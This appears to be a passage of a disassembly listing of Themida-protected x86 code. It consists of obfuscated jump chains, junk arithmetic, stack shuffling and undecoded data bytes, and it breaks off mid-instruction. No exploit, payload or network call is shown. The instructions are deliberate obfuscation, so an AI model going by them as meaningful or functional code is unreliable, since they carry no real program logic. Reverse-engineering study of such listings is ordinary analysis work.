--------------------------------------------------------------------------- aAS@x db 'aÃé@x',0 db 0 ; --------------------------------------------------------------------------- loc_517695: ; CODE XREF: Themida_:005154AEj not eax push esi mov esi, 382B4A5Ah and eax, esi jmp loc_511942 ; --------------------------------------------------------------------------- dd 835EF221h, 0BD55FFEAh, 4700382Ch, 0CD7B850h, 0C501F964h dd 5DEA3158h, 38FA68h, 24148900h, 2434FF5Bh, 3B35E9h db 0 ; --------------------------------------------------------------------------- loc_5176CD: ; CODE XREF: Themida_:00512073j mov ebx, 5C746B88h jmp loc_51CC28 ; --------------------------------------------------------------------------- db 81h dd 0EFF206C6h, 0FDE9568Ch db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5176E3: ; CODE XREF: Themida_:0051A651j xor ebx, 6A953911h neg ebx or ebx, 17B62C15h jmp loc_510B7F ; --------------------------------------------------------------------------- dw 0B60Fh dd 176DE9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5176FE: ; CODE XREF: Themida_:0051C947j mov bh, 0C1h or bh, 48h push ecx jmp loc_5100DD ; --------------------------------------------------------------------------- db 29h, 0DEh, 5Bh dd 3319EE81h, 0C6014939h, 3319C681h, 0C6814939h, 2CC46F4Dh dd 0A100E9h, 2434FF00h, 0FF9F02E9h, 0DAE95AFFh, 89000047h dd 55502434h, 0FFCB4EE9h, 0CBE954FFh, 5DFFFFEFh, 2084E9h db 0 ; --------------------------------------------------------------------------- loc_517749: ; CODE XREF: Themida_:00518FD4j mov eax, ebp pop ebp jmp loc_521E94 ; --------------------------------------------------------------------------- db 5Ah, 1, 0EBh dd 0BF7AE9h, 4436800h, 14E90000h, 57000008h, 566ECDBFh dd 847DE922h, 0E2B5FFFFh, 5966EF20h, 0FFE1A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_517779: ; CODE XREF: Themida_:005205E1j pop ecx push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx push 58B70DB1h pop edx mov eax, 58B70DB5h push ebx jmp loc_51A64C ; --------------------------------------------------------------------------- db 8Bh dd 0F662424h, 9C2404B3h, 0FF7F5BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5177B1: ; CODE XREF: Themida_:0050F9D1j pop ebp push eax jmp loc_523D9E ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 17BF5700h, 0E920FD1Eh, 6BEFh ; --------------------------------------------------------------------------- loc_5177CC: ; CODE XREF: Themida_:0051B5A5j add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_51EC8C ; --------------------------------------------------------------------------- loc_5177D9: ; CODE XREF: Themida_:00511D1Cj add ecx, ebx pop ebx sub ecx, 4 jmp loc_50FFB3 ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 4EC81h, 28E90000h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5177F7: ; CODE XREF: Themida_:00518BECj pop ecx push edx jmp loc_51EF0E ; --------------------------------------------------------------------------- loc_5177FE: ; CODE XREF: Themida_:00513A54j sub eax, ebx jmp loc_51DE98 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 33243431h, 248B2434h, 0C83B6624h, 7EF2E99Ch, 8153FFFFh dd 4ECh, 24048900h, 0FFE651E9h, 0B0505AFFh, 0C076347Eh dd 5D0407E0h, 0C058C530h, 7CE904E5h, 0BAFFFFB5h, 49685269h dd 262EA81h, 0E2815778h, 78C34C8Dh, 0B6A6F281h, 0D129F895h dd 8124148Bh, 4C4h, 59CB0100h, 0FF8705E9h db 0FFh ; --------------------------------------------------------------------------- loc_517869: ; CODE XREF: Themida_:0052044Ej push dword ptr [esp] pop ebx jmp loc_516545 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815A24h, 4, 4C481h, 0E9530000h, 3A9Bh, 1FCCE947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51788E: ; CODE XREF: Themida_:0051E1A8j xor ebp, 129D2472h sub ebp, 0A7CAF67Ah sub ebx, ebp jmp loc_51F606 ; --------------------------------------------------------------------------- loc_5178A1: ; CODE XREF: Themida_:00510DC8j pop ecx push ecx mov ecx, 4 add ebp, 6A1556D0h push edx mov edx, 644F63E5h sub edx, 517223BFh add ebp, edx pop edx add ebp, ecx jmp loc_513FE4 ; --------------------------------------------------------------------------- loc_5178C4: ; CODE XREF: Themida_:0052432Fj shl eax, 8 push ebx mov ebx, 76A76463h or ebx, 3AB94AECh xor ebx, 7ECC5CE2h and ebx, 797C50BAh jmp loc_51D7F9 ; --------------------------------------------------------------------------- loc_5178E4: ; CODE XREF: Themida_:0051F1D4j pop eax jmp loc_50FF1F ; --------------------------------------------------------------------------- loc_5178EA: ; CODE XREF: Themida_:00521E5Fj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push ebp mov ebp, 1B357574h mov edi, 338BB1F7h add edi, ebp jmp loc_51A0FC ; --------------------------------------------------------------------------- db 0ADh dd 0F6E9D831h, 87000082h, 895C241Ch, 0EC68241Ch, 5B79AC32h dd 1BDAC381h, 0E381437Bh, 4AFA6B38h, 0FFA0EB81h, 0DE89D53Ch dd 5B2434FFh, 0E904C483h, 9B69h, 64BBF57h, 0EFC160D2h dd 0EBC78106h, 89FE7CB7h, 0EC835FFEh, 24348904h, 0A1243481h dd 8B5C9B37h, 0C4832404h, 0A1BA5204h, 0E95C9B37h, 5C76h ; --------------------------------------------------------------------------- loc_517970: ; CODE XREF: Themida_:005111EBj mov ecx, 666D1870h xor ecx, 53421002h shr ecx, 8 or ecx, 416C0FF2h jmp loc_518FCB ; --------------------------------------------------------------------------- db 1, 0C8h, 0E9h dd 0FFFF976Ch ; --------------------------------------------------------------------------- loc_517990: ; CODE XREF: Themida_:0051885Cj add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, esp push 2D33h mov [esp], ebp mov ebp, 0D0977FFh add ebp, 2D45214h add ebp, 69FF2C9Ch sub esp, 4 jmp loc_51CE02 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 5F28104h, 8100C717h, 0ED62B9F2h, 26792DCFh dd 0D0290D8Eh, 8E267905h, 0E9565A0Dh, 0D69h, 24048B66h dd 2D8068h, 241C8900h, 0EC83E389h, 24348904h, 0FF9912E9h dd 8082B3FFh, 8850B5C3h, 1F73E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_517A16: ; CODE XREF: Themida_:00513A60j add edx, 0CD59DD3Dh push edi mov edi, 271A0EC8h shl edi, 3 or edi, 324A18C4h dec edi xor edi, 0A327B3h add eax, edi pop edi add eax, edx sub eax, 3A795970h jmp loc_5148E3 ; --------------------------------------------------------------------------- loc_517A41: ; CODE XREF: Themida_:00511D11j mov edi, 1BA950FDh sub edi, 5D8F1815h jmp loc_519D96 ; --------------------------------------------------------------------------- loc_517A51: ; CODE XREF: Themida_:00523C9Aj and eax, edx jmp loc_51AD8E ; --------------------------------------------------------------------------- loc_517A58: ; CODE XREF: Themida_:005142D2j add esp, 4 push ebx push edx jmp loc_5121D8 ; --------------------------------------------------------------------------- loc_517A65: ; CODE XREF: Themida_:005137F5j push 7D27h mov [esp], ebx push 0 mov ebx, [esp] jmp loc_51DC54 ; --------------------------------------------------------------------------- dw 0C33h dd 24248B24h, 4AB0F66h, 81E99C24h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517A8B: ; CODE XREF: Themida_:005174A3j push dword ptr [esp] jmp loc_50FB65 ; --------------------------------------------------------------------------- db 58h dd 0E8302D48h, 0C2890E6Ch, 1B7BB858h, 0D03115C2h, 0A805405Ah dd 29B1E1A9h, 14E958C6h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_517AB3: ; CODE XREF: Themida_:00516EEAj mov [esp], esi push ebx mov ebx, eax push ebp mov ebp, ebx mov esi, ebp pop ebp pop ebx jmp loc_515894 ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 3 dd 0FFCFC4E9h, 0ACE95EFFh, 0BD0000B4h, 0FFFFFFFFh, 7DE9E929h dd 5B000064h, 7B65266h, 5A66F028h, 0D828BB04h, 6651BB2Ch dd 8807B753h, 2C5B66FDh, 4150422h, 9904A0h, 2C992CE8h dd 49E952A0h, 0BD0000ABh, 5EF763FAh, 8904EC83h, 38B9240Ch dd 0BA24744Fh, 836BB336h, 194E9h, 0B8BB5300h, 0E92B066Dh dd 0B66Bh, 0CBE9E589h, 8BFFFFEEh, 31E9242Ch db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_517B3F: ; CODE XREF: Themida_:00510D5Ej add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 4 push edx mov edx, 323D513Ah neg edx sub edx, 3D702CD0h sub edx, 5BDD5EDBh sub ecx, 69B47391h sub ecx, edx add ecx, 69B47391h pop edx add ecx, 6D515A49h add ecx, esi sub ecx, 6D515A49h add ecx, 3475231Bh mov esi, [esp] add esp, 4 jmp loc_524FA5 ; --------------------------------------------------------------------------- aMhib db '¬h¨b',0 dw 8900h dd 0B5512414h, 4EC814Dh, 0E9000000h, 37D1h, 294A5CBAh dd 24540156h, 6C815A08h, 7FF00424h, 5A5D1E7Ch, 32BDBE56h dd 0EA817BFEh, 5313EF0h, 0C281F201h, 5313EF0h, 52E95E5Eh dd 0FF000084h, 51582434h, 7EF2E954h, 0DB680000h, 89000039h dd 0BA522404h, 53046A21h, 0E907E2C1h, 59EDh, 74C18141h dd 0E94A424Dh, 853Dh, 5772EB81h, 98E92394h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_517C17: ; CODE XREF: Themida_:00520A60j sub ecx, edx mov edx, [esp] add esp, 4 pop edx xchg ecx, [esp] mov esp, [esp] pop eax xor eax, 2A635976h jmp loc_51453A ; --------------------------------------------------------------------------- dd 0E6149B9h, 244C0108h, 34FF5904h, 24048B24h, 5104C483h dd 4B35E9h db 0 ; --------------------------------------------------------------------------- loc_517C4D: ; CODE XREF: Themida_:0051A76Cj mov ecx, esp push ebx jmp loc_522A88 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0E904C483h, 0FFFF8DD6h ; --------------------------------------------------------------------------- loc_517C60: ; CODE XREF: Themida_:00519F1Ej mov al, bl push ebx push edx mov dl, al mov bl, dl pop edx mov cl, bl pop ebx pop eax pop ebx pop edx pop eax mov [edi+eax*4], cl push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_52401C ; --------------------------------------------------------------------------- loc_517C85: ; CODE XREF: Themida_:00520D02j add edx, 3FF21F64h jmp loc_520CF0 ; --------------------------------------------------------------------------- dd 4240483h, 8124048Fh, 42404h, 28E90000h, 81000094h, 4C4h dd 0DBC6E900h, 0EC81FFFFh, 4, 8CCBE9h, 0E9CA2900h, 0B0E5h ; --------------------------------------------------------------------------- loc_517CC0: ; CODE XREF: Themida_:00515C6Bj dec ebx sub ebx, 6FDCC58Bh add ecx, 295311DDh jmp loc_51BD71 ; --------------------------------------------------------------------------- aAS db '€ÆÎéÊ"',0 align 2 a3Ssom db '3<$\S鎬',0 align 4 loc_517CE4: ; CODE XREF: Themida_:00521135j add ecx, edi pop edi push ecx push 1A03h mov [esp], ebx mov ebx, 79A73315h add dword ptr [esp+4], 318E6272h jmp loc_514196 ; --------------------------------------------------------------------------- loc_517D02: ; CODE XREF: Themida_:0051AE9Aj and bh, dh mov edx, [esp] jmp loc_51B09D ; --------------------------------------------------------------------------- loc_517D0C: ; CODE XREF: Themida_:0051E5E0j mov ebx, [esp] add esp, 4 and eax, ecx mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_51668D ; --------------------------------------------------------------------------- loc_517D3B: ; CODE XREF: Themida_:00521236j add edi, ebx jmp loc_513B17 ; --------------------------------------------------------------------------- dw 1C89h dd 4B95124h, 89000000h, 2434FFCBh, 0FF8F7AE9h, 0B25250FFh dd 280BB0A3h, 88515AD0h, 88C688F1h, 0C6FE59C8h, 9204F086h dd 0A6BEE9h, 0ACE95900h, 0AC0000D1h, 6602EC83h, 50240C89h dd 0E588B0B4h, 8906E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_517D8A: ; CODE XREF: Themida_:005150DEj mov ebp, 495E73C0h and ebp, 4A185808h dec ebp jmp loc_517059 ; --------------------------------------------------------------------------- loc_517D9B: ; CODE XREF: Themida_:005151F2j push ebx push 572E4E3Ah pop ebx add ebx, 793A31E0h add ebx, 0AD3390DDh mov ebp, ebx pop ebx xor ebp, 7D9C10F3h jmp loc_51C0F8 ; --------------------------------------------------------------------------- loc_517DBC: ; CODE XREF: Themida_:00511B3Fj add esp, 4 add edi, 4 jmp loc_51A38C ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 2C87D5F7h, 0D1F75924h, 0FCF5E955h, 8166FFFFh, 660D75E1h dd 2E55C181h, 0E9CF8966h, 0FFFFD17Eh ; --------------------------------------------------------------------------- loc_517DF0: ; CODE XREF: Themida_:0051EC6Dj mov edi, 4F180B76h sub esi, 647C4F0Fh add esi, edi add esi, 647C4F0Fh jmp loc_5152A3 ; --------------------------------------------------------------------------- dd 58CC68h, 0B5E0E900h, 5400000h, 0FFFFFFFFh, 63845705h dd 0C7EB81B3h, 81113943h, 667C62EBh, 81C30178h, 667C62C3h dd 0B148E978h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517E36: ; CODE XREF: Themida_:00522F18j mov ebx, 599240DDh xor edi, ebx jmp loc_523D4C ; --------------------------------------------------------------------------- dw 34FFh aSA db '$éÃA',0 align 2 dw 0EC83h dd 4561E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_517E52: ; CODE XREF: Themida_:005175F0j mov [esp], ebx jmp loc_524038 ; --------------------------------------------------------------------------- aNhj db 'h¦}',0 align 10h dd 0BD242C89h, 55066928h, 8F7ED81h, 0E801F7ECh, 68242C8Bh dd 176Dh, 89243489h, 4C681E6h, 83000000h, 348704C6h, 0E3E95C24h dd 5B0000AEh, 4BE56h, 0EB810000h, 2502216h, 3208EB81h dd 0E9510B98h, 0FFFFD4EAh, 57CDC681h, 0E95271D0h, 0FFFFD2C5h dd 0DE2CAA2Ch, 0FFF95DE9h, 0A4EF80FFh, 5117F780h, 0EA88FD88h dd 83240C8Bh, 1C8B04C4h, 4C48324h, 78E95150h, 8100008Fh dd 4ECh, 241C8900h, 0B850E389h, 41D53825h, 7E8C148h, 0C6E9h dd 243C8B00h, 4FC8E9h, 241C8B00h, 4D04C483h, 2DB6E9h db 0 ; --------------------------------------------------------------------------- loc_517F09: ; CODE XREF: Themida_:00523D4Fj pop ebx add esp, 4 sub edi, 3A021943h add ebx, edi push dword ptr [esp] jmp loc_51E741 ; --------------------------------------------------------------------------- dd 104C483h, 2C3358C5h, 242C3124h, 8B242C33h, 1E92424h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_517F37: ; CODE XREF: Themida_:00521AA9j xor edi, 15E135C8h push ebx mov ebx, edi mov eax, ebx pop ebx mov edi, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 push edx mov edx, 8000h and eax, edx push dword ptr [esp] pop edx push 745Dh mov [esp], edi mov edi, esp push ecx mov ecx, 3E9314A6h push ebx mov ebx, esp jmp loc_524944 ; --------------------------------------------------------------------------- aIIxsk db '‰,$‰åéª',9,0 dd 0BD27BE00h, 0F729878Ch, 5465E95Eh, 48B0000h, 72D0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_517F96: ; CODE XREF: Themida_:0051B346j push eax push ecx mov ecx, 0ED74029h xor ecx, 0B8B689Fh jmp loc_51575E ; --------------------------------------------------------------------------- loc_517FA8: ; CODE XREF: Themida_:0051A51Ej push dword ptr [esp] jmp loc_51596C ; --------------------------------------------------------------------------- dd 45CBBA52h, 29E96AB7h, 35FFFFCEh, 416A28C8h, 167D4C05h dd 3F6DE9BEh, 0EE810000h, 1A2825F0h, 5F96858h, 34890000h dd 81E68924h, 4C6h, 3EE95700h, 8BFFFFF3h, 0F662424h, 9C2404BBh dd 0C2D4E9h, 24440100h, 246C8104h, 0D4589204h, 0BB535806h dd 644765D6h, 5543DBF7h, 0E9593FBDh, 7EDC14Ch, 0B33EE955h dd 335E0000h, 74E92404h, 81FFFFE2h, 6C04246Ch, 816E8739h dd 8904246Ch, 524F9205h, 1E43E9h, 2E0C000h, 2EE2E9h, 122C00h dd 5A1204D0h, 8048B353h, 0D80033F3h, 240C8B5Bh, 5E08950h dd 4, 3304C083h, 51E92404h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518067: ; CODE XREF: Themida_:005220AEj add bl, 98h sub bl, al jmp loc_51D593 ; --------------------------------------------------------------------------- db 0B9h, 0CFh, 55h dd 0CB29508Ah, 0ADC38159h, 0E937F135h, 0FFFF85A8h, 5324048Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 54515C24h, 0E9240C8Bh dd 3CA6h ; --------------------------------------------------------------------------- loc_5180A4: ; CODE XREF: Themida_:0051CC45j pop edx jmp loc_51E7CB ; --------------------------------------------------------------------------- loc_5180AA: ; CODE XREF: Themida_:00518F91j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp sub esp, 4 jmp loc_512DB3 ; --------------------------------------------------------------------------- dd 52240489h, 9F0E9h db 0 ; --------------------------------------------------------------------------- loc_5180CD: ; CODE XREF: Themida_:0051CC8Ej pop ebx jmp loc_5227CD ; --------------------------------------------------------------------------- loc_5180D3: ; CODE XREF: Themida_:0051D76Fj mov [esp], ebp mov ebp, 0FFFFFFFFh add edx, ebp jmp loc_513A59 ; --------------------------------------------------------------------------- loc_5180E2: ; CODE XREF: Themida_:0051186Aj pop eax add esp, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_523188 ; --------------------------------------------------------------------------- dw 0EB01h dd 8904EC83h, 0DAE92414h, 50000033h, 0C1884AB0h, 7F04E958h dd 0C6680000h, 89000018h, 0BA522434h, 24CC17D7h, 0EC81DAF7h dd 4, 0B9240C89h, 2FB01E1Bh, 0FFA1AEE9h db 0FFh ; --------------------------------------------------------------------------- loc_51812D: ; CODE XREF: Themida_:005102D5j xor ecx, [esp] jmp loc_510653 ; --------------------------------------------------------------------------- loc_518135: ; CODE XREF: Themida_:00514AA4j sub byte ptr [esp], 0Dh sub [esp], bl add byte ptr [esp], 0Dh jmp loc_510B38 ; --------------------------------------------------------------------------- loc_518145: ; CODE XREF: Themida_:0050FB98j mov edi, 4 add eax, edi jmp loc_5100A6 ; --------------------------------------------------------------------------- db 5Dh, 50h, 0B8h dd 72B630D5h, 83F5E9h db 0 ; --------------------------------------------------------------------------- loc_51815D: ; CODE XREF: Themida_:0052179Fj push esi mov esi, esp add esi, 4 push edx jmp loc_520613 ; --------------------------------------------------------------------------- dd 66F78766h, 6650D7F7h, 6602D7B8h, 4DE9D0F7h, 81000072h dd 900599F1h, 0C98AE91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_51818A: ; CODE XREF: Themida_:0051DABCj add esi, 4 push edx push ebp mov ebp, 7B961095h mov edx, ebp pop ebp or edx, 0BB846E7h not edx xor edx, 4D425FAAh inc edx shr edx, 2 jmp loc_5131BD ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 54000000h, 5024048Fh, 16B3E9h, 0C6B85000h, 2907A773h dd 0F28158C2h, 5C99CF77h, 0FF5AD631h, 56592434h, 0BF57E689h dd 76AC2968h, 296CF781h, 0FE0176ACh, 4C6815Fh, 33000000h dd 34312434h, 0C7CFE924h, 0F1880000h, 0CDFCE9h db 0 ; --------------------------------------------------------------------------- loc_518201: ; CODE XREF: Themida_:00510656j mov eax, [esp] jmp loc_5125E6 ; --------------------------------------------------------------------------- a_vtsgw db '_VTé£w',0 dd 5EF30100h, 8106E3C1h, 7F6B63C3h, 0D98951ADh, 4AE9CF89h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_518227: ; CODE XREF: Themida_:005210B0j sub ebx, 52266F98h add ecx, ebx pop ebx add ecx, 4 jmp loc_51FD7D ; --------------------------------------------------------------------------- dd 2796EA81h, 0D0319438h, 1BB535Ah, 29000000h, 2434FFD8h dd 4C4835Bh, 0A0DDE9h, 5BDA2800h, 40E9D300h, 8300006Ah dd 685304C4h, 53CCh, 57242C89h, 91FC1BFh, 305DBD29h, 39E9588Bh dd 8B00006Bh, 0A7E9241Ch db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518283: ; CODE XREF: Themida_:00523A91j sub ebx, 761A2490h pop esi jmp loc_51C063 ; --------------------------------------------------------------------------- loc_51828F: ; CODE XREF: Themida_:00515967j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_51B590 ; --------------------------------------------------------------------------- dd 779868h, 241C8900h, 0CF8024B7h, 8E7C094h, 0C13DE9h db 0 ; --------------------------------------------------------------------------- loc_5182BD: ; CODE XREF: Themida_:0051AC5Fj push dword ptr [esp] pop eax add esp, 4 mov ebx, edi mov edi, [esp] jmp loc_51F32B ; --------------------------------------------------------------------------- dw 0C483h dd 0E1C14104h, 4C18108h, 53EAC361h, 25E9CB89h, 0C1FFFFA9h dd 0BF5708E3h, 7C6372F1h, 5208EFC1h, 0C281E289h, 4, 4EA81h dd 14870000h, 34895C24h, 1461BE24h, 0D6F70617h, 77D5C681h dd 0F7310693h, 5FFB015Eh, 8143DBF7h, 8405E7C3h, 449C6811h dd 3C890000h, 293D6824h, 0A1E92B82h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_518333: ; CODE XREF: Themida_:00515703j mov [esp], ecx push 2DA51D95h jmp loc_5224F7 ; --------------------------------------------------------------------------- dd 0BE243489h, 626A1C28h, 34FFF129h, 89515E24h, 0A500E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_518356: ; CODE XREF: Themida_:00519DD5j mov eax, 4B956FA2h jmp loc_51A8BE ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF739Ch, 6852E789h dd 3459h, 0BD242C89h, 62C41FD6h, 749CE9h db 0 ; --------------------------------------------------------------------------- loc_518385: ; CODE XREF: Themida_:005102DDj mov edi, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_516C69 ; --------------------------------------------------------------------------- db 0ADh dd 0D43DB805h, 741D2D56h, 0D8013198h, 8904EC83h, 0E955243Ch dd 0FFFF956Eh, 801DB353h, 0EBC066C3h, 21EB8002h, 665BDD00h dd 0E9000068h, 7646h, 4240481h, 8F000000h, 4812404h, 424h dd 0BD555F00h, 4, 7CF6EF81h, 0B3E94605h, 81FFFFB3h, 644774CFh dd 81DFF773h, 18EB22C7h, 5FFA3180h, 8105EAC1h, 4ECh, 240C8900h dd 0CB3E5AB9h, 0DEBE5614h, 92C4F24h, 0F3E95EF1h, 66FFFFBAh dd 2870B551h, 805966EEh, 0F0288DEEh, 5524148Bh, 0C6C9E9h dd 24148900h, 0FFAC1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_518435: ; CODE XREF: Themida_:005184AFj push ebx mov ebx, 9FF6C9Bh add ebx, 1FA847D1h neg ebx jmp loc_512F5F ; --------------------------------------------------------------------------- dd 7A68h, 24048900h, 0D02DABB8h, 7CB90541h, 0EC813C93h dd 4, 0FFA9FBE9h, 242C8BFFh, 0FFABA7E9h, 0E9CE01FFh, 0C54Dh ; --------------------------------------------------------------------------- loc_518474: ; CODE XREF: Themida_:005171E0j mov [esp], edx push esp mov edx, [esp] add esp, 4 push 7C50h mov [esp], ebp push ebx mov ebx, 4 mov ebp, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub edx, 7025420Dh add edx, ebp jmp loc_518435 ; --------------------------------------------------------------------------- dd 0C688E888h, 240C8B58h, 4C481h, 0C6800000h, 0FFC680FFh dd 5053C6FEh, 0C78801B0h, 0FFE544E9h, 2C383FFh, 31241C33h dd 1C33241Ch, 8B665C24h, 0B868240Ch, 89000073h, 84E9241Ch dd 50000A6h, 4, 8769E9h db 0 ; --------------------------------------------------------------------------- loc_5184FD: ; CODE XREF: Themida_:005100E3j inc ah add ah, 1 or ah, 3Eh neg ah xor ah, 70h jmp loc_524706 ; --------------------------------------------------------------------------- loc_51850F: ; CODE XREF: Themida_:0051E2E0j xchg ebx, ebp neg ebp push edx mov edx, esp jmp loc_5134B8 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0A06342BFh, 5FFD897Dh, 5F3568h, 242C8900h dd 0FFDA94E9h, 4C283FFh, 0E9241487h, 0AB8Dh, 0EB81C301h dd 6C9E63ACh, 69C28158h, 1665205h, 0A1AEE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51855A: ; CODE XREF: Themida_:005207E2j push esi mov esi, 4 sub edi, esi mov esi, [esp] jmp loc_50FD7D ; --------------------------------------------------------------------------- dw 0BA52h dd 5BFF75EBh, 895AD329h, 0E9815BDEh, 47830E48h, 0C181F101h dd 47830E48h, 8324348Bh, 895104C4h, 0BD5556E1h, 46DB6288h dd 0DB628CBEh, 5DEE2946h, 685EF101h, 1521h, 0FFDBBFE9h dd 0A6BF57FFh, 0F77D0C50h, 1EF83DFh, 0EF83D7F7h, 15B85001h dd 2173B906h, 0B66BE9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5185C6: ; CODE XREF: Themida_:005119B8j push 330Ah mov [esp], eax mov eax, 3CB84265h and ebx, eax mov eax, [esp] jmp loc_521214 ; --------------------------------------------------------------------------- db 5Fh, 31h, 0EBh dd 41B8505Dh, 0E922602Bh, 0FFFFA184h, 0B951565Eh, 27CF79B6h dd 5759CE89h, 0FFB0CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5185FD: ; CODE XREF: Themida_:0051AC02j pop esp jmp loc_50F70C ; --------------------------------------------------------------------------- db 52h dd 0E83297BAh, 1591685Fh, 14890000h, 2414F724h, 8124148Bh dd 4C4h, 48B7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_518622: ; CODE XREF: Themida_:00515450j mov ecx, 7F7D2B91h sub ecx, 131CE52h xor esi, ecx jmp loc_513221 ; --------------------------------------------------------------------------- loc_518634: ; CODE XREF: Themida_:0051AA9Bj mov edi, 34C90D86h inc edi xor edi, 103E580Ah xor edi, 4E7D238Ah add ebx, edi pop edi jmp loc_51919E ; --------------------------------------------------------------------------- dw 0EB81h dd 0AF65B423h, 0FFFC8AE9h, 4C483FFh, 4C781h, 0B8500000h dd 400A60E8h, 4EC81h, 6DE90000h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_518673: ; CODE XREF: Themida_:00510D36j add ebp, 4 add ebp, 4 jmp loc_51E3A6 ; --------------------------------------------------------------------------- loc_518681: ; CODE XREF: Themida_:00512E0Cj pop ebp sub ebx, 7FB3B5Dh xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5186D4 ; --------------------------------------------------------------------------- db 80h, 0EFh, 64h dd 5185C780h, 0F10412B1h, 0F12CC828h, 0E9750459h, 0FFFF7BDDh dd 0F1E9D931h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5186B7: ; CODE XREF: Themida_:005141D9j xor ebx, edx pop edx and esi, ebx pop ebx push edi mov edi, 816FBAC2h sub esi, 584D19EEh jmp loc_511CEE ; --------------------------------------------------------------------------- loc_5186CE: ; CODE XREF: Themida_:00516709j push ecx jmp loc_510238 ; --------------------------------------------------------------------------- loc_5186D4: ; CODE XREF: Themida_:00518694j xor edx, 27E15F44h add edx, 28223946h dec edx jmp loc_519BE9 ; --------------------------------------------------------------------------- dw 0C7BEh dd 89521618h, 0BD555EF2h, 2061A0Ch, 0F75DEA09h, 34F281D2h dd 1ADE9E5h, 0EC835AD7h, 24148904h, 4BAh, 5AD70100h, 8904EC83h dd 74FF243Ch, 3C8B0424h, 95CEE924h, 0BD550000h, 6D3A0DB0h dd 0B3E9EA89h, 29FFFF7Bh, 0D8015EF3h, 96C6E9h, 2434FF00h dd 0E3895358h, 4C381h, 0E9560000h, 0FFFFC4CEh, 3EB368h dd 240C8900h, 0FF87A0E9h, 0D67BEFFh, 0F0293A65h, 5F8295Eh dd 3A650D67h, 0FFB462E9h, 0C4815AFFh, 4, 0F839972Dh, 5D80142h dd 42F83997h, 49685D5Bh, 89000035h, 0BE56243Ch, 4AB17808h dd 348BF789h, 51CAE924h, 0DE290000h db 5Bh, 1, 0C6h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 sub ebp, 3F141F82h add ebp, edi jmp loc_515201 ; --------------------------------------------------------------------------- loc_5187B5: ; CODE XREF: Themida_:00522152j add esp, 4 sub esp, 4 jmp loc_5235A8 ; --------------------------------------------------------------------------- db 80h dd 0EEC067E6h, 29F68004h, 0F680h, 0E8285AF5h, 0C0E9E959h dd 9B680000h, 5A600C7Ah, 6E04C281h, 0C7E960FBh, 0C0000002h dd 895305E1h, 4C381E3h, 81000000h, 2EBh, 241C8700h, 1C89665Ch dd 0E2B65224h, 88F18851h, 34FF59CFh, 89505A24h, 405E0h dd 0C0830000h, 7754E904h, 815EFFFFh, 4C4h, 2E23E900h, 0C7310000h dd 443FE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_518836: ; CODE XREF: Themida_:0051AD4Cj mov edi, 4 jmp loc_51D78A ; --------------------------------------------------------------------------- aQABa db 'QµÎ€Í¡€Å',0 db 0E9h, 18h, 0A5h dd 0B9E90000h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518853: ; CODE XREF: Themida_:00511669j sub edi, 51C85CADh add eax, 